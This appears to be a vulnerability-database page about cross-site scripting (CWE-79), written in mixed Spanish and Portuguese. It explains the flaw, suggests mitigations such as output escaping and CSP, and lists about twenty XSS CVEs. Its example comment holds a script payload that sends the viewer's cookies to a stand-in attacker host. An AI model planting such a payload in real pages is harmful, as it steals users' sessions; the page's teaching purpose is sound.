Fallos del tipo CWE-79

28.650 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-56355MEDIUMIn JetBrains TeamCity before 2024.12 missing Content-Type header in RemoteBuildLogController response could lead to XSSEPSS 0.8%CVE-2019-12705MEDIUMCisco Expressway Series and TelePresence Video Communication Server Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2020-15231CRITICALCross-site scripting attack in mapfish-printEPSS 0.8%CVE-2019-15969MEDIUMCisco Web Security Appliance Management Interface Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2024-56352MEDIUMIn JetBrains TeamCity before 2024.12 stored XSS was possible via image name on the agent details pageEPSS 0.8%CVE-2023-23927MEDIUMCraft CMS stored cross-site scripting vulnerabilityEPSS 0.8%CVE-2019-16024MEDIUMCisco Crosswork Change Automation Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2020-3282MEDIUMCisco Unified Communications Products Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2018-0465—Cisco Small Business 300 Series Managed Switches Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2020-3159MEDIUMCisco Finesse Web-Based Management Interface Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2020-3192MEDIUMCisco Prime Collaboration Provisioning Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2020-3356MEDIUMCisco Data Center Network Manager Stored Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2019-15973MEDIUMCisco Industrial Network Director Reflected Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2020-3313MEDIUMCisco Firepower Management Center Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2019-15994MEDIUMCisco Stealthwatch Enterprise Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2019-12718MEDIUMCisco Small Business Smart and Managed Switches Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2021-25040—Booking Calendar < 8.9.2 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2025-46199CRITICALCross Site Scripting vulnerability in grav v.1.7.48 and before allows an attacker to execute arbitrary code via a crafted script to the formEPSS 0.8%CVE-2022-0620—Delete Old Orders <= 0.2 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2022-0641—Popup Like box < 3.6.1 - Reflected Cross-Site ScriptingEPSS 0.8%